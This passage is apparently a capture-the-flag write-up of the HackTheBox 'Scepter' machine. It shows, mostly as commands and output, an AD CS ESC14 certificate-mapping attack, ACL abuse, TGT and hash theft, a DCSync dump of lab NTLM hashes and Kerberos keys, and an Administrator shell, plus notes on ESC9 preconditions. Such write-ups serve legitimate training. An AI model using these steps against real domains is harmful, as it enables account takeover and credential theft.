[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : StaffAccessCertificate
    Display Name                        : StaffAccessCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireDnsAsCn
                                          SubjectRequireEmail
    Enrollment Flag                     : AutoEnrollment
                                          NoSecurityExtension
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-01T02:29:00+00:00
    Template Last Modified              : 2024-11-01T09:00:54+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\staff
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Enterprise Admins
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SCEPTER.HTB\staff
    [!] Vulnerabilities
      ESC9                              : Template has no security extension.
    [*] Remarks
      ESC9                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

It finds the same certificate, and says it’s vulnerable to ESC9, but also that other prerequisites may be required for exploitation. I’ll show why this doesn’t work in Beyond Root.

I’ll also note the SubjectAltRequireEmail value in Certificate Name Flag. That’s not the default setting.

The Staff group can enroll, and this group has one member:

image-20250429140355481

ESC14

Find h.brown

In looking at each user individually, there’s something that jumps out on h.brown:

oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --query "(sAMAccountName=h.brown)" ""
LDAP        10.10.11.65     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
LDAP        10.10.11.65     389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
LDAP        10.10.11.65     389    DC01             [+] Response for object: CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             objectClass          top
LDAP        10.10.11.65     389    DC01                                  person
LDAP        10.10.11.65     389    DC01                                  organizationalPerson
LDAP        10.10.11.65     389    DC01                                  user
LDAP        10.10.11.65     389    DC01             cn                   h.brown
LDAP        10.10.11.65     389    DC01             givenName            h.brown
LDAP        10.10.11.65     389    DC01             distinguishedName    CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             instanceType         4
LDAP        10.10.11.65     389    DC01             whenCreated          20241031224001.0Z
LDAP        10.10.11.65     389    DC01             whenChanged          20250307221911.0Z
LDAP        10.10.11.65     389    DC01             displayName          h.brown
LDAP        10.10.11.65     389    DC01             uSNCreated           16443
LDAP        10.10.11.65     389    DC01             memberOf             CN=CMS,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Protected Users,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             uSNChanged           106593
LDAP        10.10.11.65     389    DC01             name                 h.brown
LDAP        10.10.11.65     389    DC01             objectGUID           390edcb4-8a0e-7c4d-b0ab-b55ada0f817d
LDAP        10.10.11.65     389    DC01             userAccountControl   66048
LDAP        10.10.11.65     389    DC01             badPwdCount          0
LDAP        10.10.11.65     389    DC01             codePage             0
LDAP        10.10.11.65     389    DC01             countryCode          0
LDAP        10.10.11.65     389    DC01             badPasswordTime      0
LDAP        10.10.11.65     389    DC01             lastLogoff           0
LDAP        10.10.11.65     389    DC01             lastLogon            133749055857985713
LDAP        10.10.11.65     389    DC01             logonHours           b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
LDAP        10.10.11.65     389    DC01             pwdLastSet           133858595515433638
LDAP        10.10.11.65     389    DC01             primaryGroupID       513
LDAP        10.10.11.65     389    DC01             objectSid            S-1-5-21-74879546-916818434-740295365-1108
LDAP        10.10.11.65     389    DC01             accountExpires       0
LDAP        10.10.11.65     389    DC01             logonCount           3
LDAP        10.10.11.65     389    DC01             sAMAccountName       h.brown
LDAP        10.10.11.65     389    DC01             sAMAccountType       805306368
LDAP        10.10.11.65     389    DC01             userPrincipalName    h.brown@scepter.htb
LDAP        10.10.11.65     389    DC01             objectCategory       CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             altSecurityIdentities X509:<RFC822>h.brown@scepter.htb
LDAP        10.10.11.65     389    DC01             dSCorePropagationData 20241101040716.0Z
LDAP        10.10.11.65     389    DC01                                  16010101000001.0Z
LDAP        10.10.11.65     389    DC01             lastLogonTimestamp   133748939536482133
LDAP        10.10.11.65     389    DC01             msDS-SupportedEncryptionTypes 0

There is a altSecurityIdentities property set. This property defines mappings for certificates or external Kerberos accounts for this user that can be used for authentication. I can see this explicitly with bloodyAD:

oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 get object h.brown --attr altSecurityIdentities

distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb

I noted above that the certificate had SubjectAltRequireEmail set as a valid Name option.

Strategy

d.baker is can enroll in the StaffAccessCertificate certificate, and the altSecurityIdentities is allowed to identify users.

I know that h.brown has an altSecurityIdentities of X509:<RFC822>h.brown@scepter.htb, which is a pointer to the email address.

As a.carter, I can modify d.brown, setting their mail attribute to match h.brown’s. Then I can request a StaffAccessCertificate as d.brown, which will include the email address h.brown@scepter.htb. I’ll use that certificate to authenticate as h.brown, getting a TGT (and their NTLM).

Exploit

a.carter is in IT Support which has GenericAll over StaffAccessCertificate which contains d.baker. So I’ll give a.carter FullControl over the certificate:

oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB

Now update d.baker’s email to match the email in h.brown’s altSecurityIdentities:

oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated

Now I can request a certificate that as d.baker that will have h.brown as the email:

oxdf@hacky$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'

This certificate has the user d.baker but the email h.brown@scepter.htb:

oxdf@hacky$ openssl pkcs12 -in d.baker.pfx -clcerts -nokeys -passin pass: | openssl x509 -text -noout
Certificate:                                                  
    Data:                                                     
        Version: 3 (0x2)                                      
        Serial Number:                                        
            62:00:00:00:05:a0:d6:40:4f:40:9d:db:ca:00:00:00:00:00:05 
        Signature Algorithm: sha256WithRSAEncryption          
        Issuer: DC = htb, DC = scepter, CN = scepter-DC01-CA  
        Validity                                              
            Not Before: Jul 16 22:02:16 2025 GMT              
            Not After : Jul 16 22:12:16 2027 GMT              
        Subject: CN = d.baker, emailAddress = h.brown@scepter.htb
...[snip]...

I’ll use it to request auth as h.brown, and it works:

oxdf@hacky$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username h.brown
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

I’ve got both h.brown’s hash and a TGT.

WinRM

If I try to use that hash over WinRM, it fails:

oxdf@hacky$ evil-winrm -i dc01.scepter.htb -u h.brown -H 4ecf5242092c6fb8c360a08069c75a0c
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

This user is in the Protected Users group, which blocks NTLM authentication.

I’ll set up Kerberos auth, first using netexec to create a krb5.conf file for the domain:

oxdf@hacky$ netexec smb dc01.scepter.htb --generate-krb5-file scepter.htb.krb5.conf
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) 

oxdf@hacky$ sudo cp scepter.htb.krb5.conf /etc/krb5.conf

Now the ticket from certipy works to authenticate:

oxdf@hacky$ KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents> 

And grab user.txt:

*Evil-WinRM* PS C:\Users\h.brown\desktop> cat user.txt
c0a3a31c************************

Auth as p.adams

Enumeration

File system

h.brown’s home directory is pretty empty other than user.txt. Administrator is the only other user with a home directory:

*Evil-WinRM* PS C:\Users> ls

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/1/2024  11:19 PM                Administrator
d-----       10/31/2024   5:39 PM                h.brown
d-r---       10/31/2024   2:48 PM                Public

In the root of the filesystem, there’s a HelpDesk directory. This is where the NFS share is hosted:

*Evil-WinRM* PS C:\HelpDesk> ls

    Directory: C:\HelpDesk

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/1/2024   8:01 PM           2484 baker.crt
-a----        11/1/2024   8:01 PM           2029 baker.key
-a----        11/1/2024   8:01 PM           3315 clark.pfx
-a----        11/1/2024   8:01 PM           3315 lewis.pfx
-a----        11/1/2024   8:02 PM           3315 scott.pfx

Otherwise, the filesystem is pretty empty.

Groups

h.brown is a member of some powerful groups:

image-20250424065845744

Remote Management Users is what allows them to WinRM. Domain Users is all users. Protected Users is what blocks h.brown from authenticating over NTLM above. Helpdesk Admins and CMS are both non-standard groups that only contain h.brown. Still, from BloodHound, all I can see is that h.brown is the only member of both, and neither provides any outbound control.

BloodHound

Without seeing a path from h.brown, I’ll start looking at the BloodHound data to see where I might be trying to get. Looking at the pre-defined “Shortest Paths to Domain Admin” query, there are only two users on the map:

image-20250429123516327

Administrator isn’t too interesting. But p.adams is. Zooming in a bit, p.adams is contained in another certificate, and is a member of the Replication Operators group, which can DCSync on the domain:

image-20250429123651265

Certificate

I’ll use certipy (just like above without -vulnerable) to find all certificates and look at HelpDesk Enrollment Certificate:

...[snip]...
Certificate Templates
  0
    Template Name                       : HelpdeskEnrollmentCertificate
    Display Name                        : HelpdeskEnrollmentCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True                    
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDnsAsCn
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\Domain Admins 
                                          SCEPTER.HTB\Domain Computers
                                          SCEPTER.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Administrator 
        Write Owner Principals          : SCEPTER.HTB\Domain Admins 
                                          SCEPTER.HTB\Enterprise Admins
                                          SCEPTER.HTB\Administrator 
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins 
                                          SCEPTER.HTB\Enterprise Admins
                                          SCEPTER.HTB\Administrator 
        Write Property Principals       : SCEPTER.HTB\Domain Admins 
                                          SCEPTER.HTB\Enterprise Admins
                                          SCEPTER.HTB\Administrator 
...[snip]...

Similar to the StaffAccessCertificate above, this one has interesting values for Certificate Name Flag, in this case SubjectAltRequireDns. Only Domain Admins, Enterprise Admins, and Domain Computers can enroll in this certificate.

ESC14 - Repeat

Strategy

I’ve identified p.adams as the target. If I can control a user who can modify the altSecurityIdentities attribute of p.admins, then I can do the same attack again.

On originally solving, I manually guessed to look more closely at who could write p.adams. But a nice technique to use here would be to run bloodAD to find what h.brown can write (as I learned doing Haze):

oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
permission: WRITE

distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
permission: WRITE

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
permission: WRITE

The ability to write another user is worth investigating further.

dsacls will show me the permissions for all users and groups over an object. There’s a ton of output, but I’ll snip to show the interesting parts:

*Evil-WinRM* PS C:\> dsacls "CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb"
Owner: SCEPTER\Domain Admins
Group: SCEPTER\Domain Admins

Access list:
Allow SCEPTER\Domain Admins           FULL CONTROL
Allow BUILTIN\Account Operators       FULL CONTROL
...[snip]...
Allow SCEPTER\CMS                     SPECIAL ACCESS   <Inherited from parent>
                                      READ PROPERTY
...[snip]...
Allow SCEPTER\CMS                     SPECIAL ACCESS for altSecurityIdentities   <Inherited from parent>
                                      WRITE PROPERTY
...[snip]...
The command completed successfully

The CMS group has “special access” over altSecurityIdentities. If I can add h.brown’s email as an an alternative identify to p.brown, then I can get a ticket that will work as p.brown.

Exploit

p.adams does not have an altSecurityIdentities set:

oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb

But h.brown can set one:

oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated

oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>p.adams@scepter.htb

Above I set it to p.adams@scepter.htb, but it doesn’t even have to be a real email in the domain. I can also set it to 0xdf@scepter.htb:

oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>0xdf@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated

Now this is basically the same attack as before. d.baker can enroll in the StaffAccessCertificate. a.carter can modify d.baker. I’ll set d.baker’s email to match whatever I set as the altSecurityIdentities for p.adams (if the cleanup script has run, I’ll need to do the prior steps to give a.carter access):

oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 set object d.baker mail -v 0xdf@scepter.htb
[+] d.baker's mail has been updated

Now I can request a certificate as d.baker:

oxdf@hacky$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 9
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'

That certificate can auth as p.adams:

oxdf@hacky$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username p.adams
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: p.adams@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

Because the email on the certificate (0xdf@scepter.htb) matches the altSecurityIdentities attribute for p.adams, it works.

The hash and the TGT both work to auth as p.adams:

oxdf@hacky$ KRB5CCNAME=p.adams.ccache netexec smb DC01.scepter.htb --use-kcache
SMB         DC01.scepter.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) 
SMB         DC01.scepter.htb 445    DC01             [+] SCEPTER.HTB\p.adams from ccache
oxdf@hacky$ netexec smb DC01.scepter.htb -u p.adams -H 1b925c524f447bb821a8789c4b118ce0
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.65     445    DC01             [+] scepter.htb\p.adams:1b925c524f447bb821a8789c4b118ce0 

Shell as Administrator

Enumeration

I already noted above that p.adams can DCSync as a member of Replication Operators:

image-20250429141219503

DCSync

secretsdump gives an error at the start, but then dumps the hashes anyway:

oxdf@hacky$ secretsdump.py scepter.htb/p.adams@DC01.scepter.htb -hashes :1b925c524f447bb821a8789c4b118ce0 -no-pass 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c030fca580038cc8b1100ee37064a4a9:::
scepter.htb\d.baker:1106:aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce:::
scepter.htb\a.carter:1107:aad3b435b51404eeaad3b435b51404ee:2e24650b1e4f376fa574da438078d200:::
scepter.htb\h.brown:1108:aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c:::
scepter.htb\p.adams:1109:aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0:::
scepter.htb\e.lewis:2101:aad3b435b51404eeaad3b435b51404ee:628bf1914e9efe3ef3a7a6e7136f60f3:::
scepter.htb\o.scott:2102:aad3b435b51404eeaad3b435b51404ee:3a4a844d2175c90f7a48e77fa92fce04:::
scepter.htb\M.clark:2103:aad3b435b51404eeaad3b435b51404ee:8db1c7370a5e33541985b508ffa24ce5:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:0a4643c21fd6a17229b18ba639ccfd5f:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
krbtgt:aes256-cts-hmac-sha1-96:5d62c1b68af2bb009bb4875327edd5e4065ef2bf08e38c4ea0e609406d6279ee
krbtgt:aes128-cts-hmac-sha1-96:b9bc4dc299fe99a4e086bbf2110ad676
krbtgt:des-cbc-md5:57f8ef4f4c7f6245
scepter.htb\d.baker:aes256-cts-hmac-sha1-96:6adbc9de0cb3fb631434e513b1b282970fdc3ca089181991fb7036a05c6212fb
scepter.htb\d.baker:aes128-cts-hmac-sha1-96:eb3e28d1b99120b4f642419c99a7ac19
scepter.htb\d.baker:des-cbc-md5:2fce8a3426c8c2c1
scepter.htb\a.carter:aes256-cts-hmac-sha1-96:5a793dad7f782356cb6a741fe73ddd650ca054870f0c6d70fadcae162a389a71
scepter.htb\a.carter:aes128-cts-hmac-sha1-96:f7643849c000f5a7a6bd5c88c4724afd
scepter.htb\a.carter:des-cbc-md5:d607b098cb5e679b
scepter.htb\h.brown:aes256-cts-hmac-sha1-96:5779e2a207a7c94d20be1a105bed84e3b691a5f2890a7775d8f036741dadbc02
scepter.htb\h.brown:aes128-cts-hmac-sha1-96:1345228e68dce06f6109d4d64409007d
scepter.htb\h.brown:des-cbc-md5:6e6dd30151cb58c7
scepter.htb\p.adams:aes256-cts-hmac-sha1-96:0fa360ee62cb0e7ba851fce9fd982382c049ba3b6224cceb2abd2628c310c22f
scepter.htb\p.adams:aes128-cts-hmac-sha1-96:85462bdef70af52770b2260963e7b39f
scepter.htb\p.adams:des-cbc-md5:f7a26e794949fd61
scepter.htb\e.lewis:aes256-cts-hmac-sha1-96:1cfd55c20eadbaf4b8183c302a55c459a2235b88540ccd75419d430e049a4a2b
scepter.htb\e.lewis:aes128-cts-hmac-sha1-96:a8641db596e1d26b6a6943fc7a9e4bea
scepter.htb\e.lewis:des-cbc-md5:57e9291aad91fe7f
scepter.htb\o.scott:aes256-cts-hmac-sha1-96:4fe8037a8176334ebce849d546e826a1248c01e9da42bcbd13031b28ddf26f25
scepter.htb\o.scott:aes128-cts-hmac-sha1-96:37f1bd1cb49c4923da5fc82b347a25eb
scepter.htb\o.scott:des-cbc-md5:e329e37fda6e0df7
scepter.htb\M.clark:aes256-cts-hmac-sha1-96:a0890aa7efc9a1a14f67158292a18ff4ca139d674065e0e4417c90e5a878ebe0
scepter.htb\M.clark:aes128-cts-hmac-sha1-96:84993bbad33c139287239015be840598
scepter.htb\M.clark:des-cbc-md5:4c7f5dfbdcadba94
DC01$:aes256-cts-hmac-sha1-96:4da645efa2717daf52672afe81afb3dc8952aad72fc96de3a9feff0d6cce71e1
DC01$:aes128-cts-hmac-sha1-96:a9f8923d526f6437f5ed343efab8f77a
DC01$:des-cbc-md5:d6923e61a83d51ef
[*] Cleaning up... 

Evil-WinRM

I’ll use the NTLM hash to get an Evil-WinRM session as administrator:

oxdf@hacky$ evil-winrm -i DC01.scepter.htb -u administrator -H a291ead3493f9773dc615e66c2ea21c4
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

And get root.txt:

*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
4432fab0************************

Beyond Root

Disabled Accounts

Scenario

In trying to authenticate with three of the certificates from the NFS share, I would get errors such as KDC_ERR_CLIENT_REVOKED, with certipy adding that “Clients credentials have been revoked”. My first thought was that perhaps there’s a mechanism for revoking the certificates themselves - Windows AD CS does keep a certificate revocation list (CRLs).

But that’s not what actually turns out to be the case here.

Account Analysis

As Administrator, I’ll check the three accounts that fail over certificate auth:

*Evil-WinRM* PS C:\Users\Administrator\Documents> get-ADuser o.scott

DistinguishedName : CN=o.scott,CN=Users,DC=scepter,DC=htb
Enabled           : False          
GivenName         :
Name              : o.scott
ObjectClass       : user
ObjectGUID        : fabc6125-f7ab-4f71-9b05-0954a754c242
SamAccountName    : o.scott                              
SID               : S-1-5-21-74879546-916818434-740295365-2102
Surname           :
UserPrincipalName : o.scott@scepter.htb
                                                                    
*Evil-WinRM* PS C:\Users\Administrator\Documents> get-ADuser m.clark

DistinguishedName : CN=m.clark,CN=Users,DC=scepter,DC=htb
Enabled           : False
GivenName         :
Name              : m.clark                                         
ObjectClass       : user
ObjectGUID        : efaa9e21-e506-449b-89f2-c8115b72be94
SamAccountName    : M.clark                              
SID               : S-1-5-21-74879546-916818434-740295365-2103
Surname           :
UserPrincipalName : m.clark@scepter.htb

*Evil-WinRM* PS C:\Users\Administrator\Documents> get-ADuser e.lewis

DistinguishedName : CN=e.lewis,CN=Users,DC=scepter,DC=htb
Enabled           : False
GivenName         :
Name              : e.lewis
ObjectClass       : user           
ObjectGUID        : 9ca89cc2-5701-4ba1-ae50-78ded8892b4e
SamAccountName    : e.lewis
SID               : S-1-5-21-74879546-916818434-740295365-2101
Surname           :
UserPrincipalName : e.lewis@scepter.htb  

All three show Enabled set to False.

As Administrator, I can enable one:

*Evil-WinRM* PS C:\Users\Administrator\Documents> net user m.clark /active:yes
The command completed successfully.

Now attempting to authenticate with the certificate still fails, but for a different reason:

oxdf@hacky$ certipy auth -pfx clark-no-pass.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'm.clark@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change password to reset)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

The password has expired! I can set a new password as Administrator as well:

*Evil-WinRM* PS C:\Users\Administrator\Documents> net user m.clark password123!
The command completed successfully.

Now the certificate works fine:

oxdf@hacky$ certipy auth -pfx clark-no-pass.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'm.clark@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'm.clark.ccache'
[*] Wrote credential cache to 'm.clark.ccache'
[*] Trying to retrieve NT hash for 'm.clark'
[*] Got hash for 'm.clark@scepter.htb': aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca

That proves that the certificate is perfectly valid.

It is a bit odd that the user is required to have a non-expired password for passwordless authentication.

ESC9

Certipy shows that the StaffAccessCertificate may be vulnerable to ESC9. With Administrator access, I can give myself RDP access to the machine and look at the configuration. The certificate is configured like:

image-20250716160819699

ESC9 requires the UPN be in the ASN, and that the email is in neither the subject name nor the alternative subject name. If I change it by unchecking both those boxes and checking UPN, it will match was the configuration from Certified and be exploitable by ESC9:

image-20250716161932923